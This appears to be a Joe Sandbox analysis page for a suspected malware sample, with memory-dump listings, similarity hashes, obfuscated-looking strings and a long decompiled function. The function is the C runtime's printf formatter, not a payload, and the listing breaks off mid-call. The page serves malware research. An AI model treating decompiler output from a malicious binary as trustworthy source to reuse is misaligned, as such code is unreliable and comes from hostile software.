nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb, xrefs: 00419CCD
zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus, xrefs: 00419CC8

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorHeapLastProcessWrite$CharacterClassCursorDiskFreeGlobalOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$jikatopoxolumuho$nuyijuwuwavejaneyediyayabuwoxegebevoyopocomodiciwaweb$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$zisokokusabazaketixuhozewofufisejabiwiwubadevuyiyukus$u7
API String ID: 191012449-1827300862
Opcode ID: 7066ece72576e84a623ac4d5685a676b90006f0aa5201186c61aeec00e347b43
Instruction ID: cc7864e739635c5984b3b2ecdbfe7931afe5db0b9613c56356add74475e01ab7
Opcode Fuzzy Hash: 7066ece72576e84a623ac4d5685a676b90006f0aa5201186c61aeec00e347b43
Instruction Fuzzy Hash: D4313D75940258EFEB60DB90DD49FD977B9AB04706F5000A7F24AF60E0D7B85AC48F19

Uniqueness

Uniqueness Score: -1.00%

Function 004350B9, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E004350B9(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E004284A0(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E004284A0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E004284A0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E004284A0(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E004284C0(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E004284C0(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E004308C0(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E00430940( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C510( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M004356A0))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00431350( *(_t701 - 0x251) & 0x000000ff, E0041AE20(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00428330( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00428330( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E350();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E40(_t616))) = 0x16;
																									E00422BD0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041ADF0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x4356d8; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M004356C0))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435700; // 0x4f0e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004356EC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E350();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E40(_t618))) = 0x16;
																						E00422BD0(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041ADF0(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BDF0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E350();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041ADF0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422E40(_t605))) = 0x16;
																				E00422BD0(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041ADF0(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t701 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t701 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t701 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t701 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t701 - 0x14)) = 0x20;
																						 *(_t701 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t701 - 0x14)) = 0x2b;
																					 *(_t701 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t701 - 0x14)) = 0x2d;
																				 *(_t701 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *((intOrPtr*)(_t701 - 0x24)) -  *(_t701 - 0x1c);
																		if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
																			E004283D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		E00428410( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																		_t704 = _t704 + 0x10;
																		if(( *(_t701 - 0x10) & 0x00000008) != 0 && ( *(_t701 - 0x10) & 0x00000004) == 0) {
																			E004283D0(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																		}
																		if( *(_t701 - 0xc) == 0 ||  *((intOrPtr*)(_t701 - 0x24)) <= 0) {
																			L212:
																			E00428410( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 0x24)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																			_t704 = _t704 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t701 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
																			 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t701 - 0x2cc)) =  *((intOrPtr*)(_t701 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t701 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
																				_t563 = E00434360(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
																				_t704 = _t704 + 0x10;
																				 *(_t701 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
																				if( *(_t701 - 0x2dc) != 0 ||  *((intOrPtr*)(_t701 - 0x2d0)) == 0) {
																					L209:
																					 *(_t701 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00428410( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *((intOrPtr*)(_t701 - 0x2d0)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																					_t704 = _t704 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
																			if( *(_t701 - 0x24c) >= 0 && ( *(_t701 - 0x10) & 0x00000004) != 0) {
																				E004283D0(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																				_t704 = _t704 + 0x10;
																			}
																			goto L216;
																		}
																		L71:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x324) = __ecx;
																		__edx =  *(__ebp - 0x324);
																		__edx =  *(__ebp - 0x324) - 0x41;
																		 *(__ebp - 0x324) = __edx;
																	} while ( *(__ebp - 0x324) > 0x37);
																	_t158 =  *(__ebp - 0x324) + 0x43576c; // 0xcccccc0d
																	__ecx =  *_t158 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00435730))) {
																		case 0:
																			L123:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L124;
																		case 1:
																			L73:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L75;
																		case 2:
																			L88:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L90;
																		case 3:
																			L146:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L148;
																		case 4:
																			L81:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x288) = E004284A0(__ebp + 0x14);
																			if( *(__ebp - 0x288) == 0) {
																				L83:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L87:
																				goto L190;
																			}
																			L82:
																			__ecx =  *(__ebp - 0x288);
																			if( *((intOrPtr*)( *(__ebp - 0x288) + 4)) != 0) {
																				L84:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x288);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x288);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L87;
																			}
																			goto L83;
																		case 5:
																			L124:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L126:
																				if( *(__ebp - 0x30) != 0) {
																					L129:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L131:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					__ecx =  *(__eax - 8);
																					__edx =  *(__eax - 4);
																					 *(__ebp - 0x2a8) =  *(__eax - 8);
																					 *(__ebp - 0x2a4) =  *(__eax - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
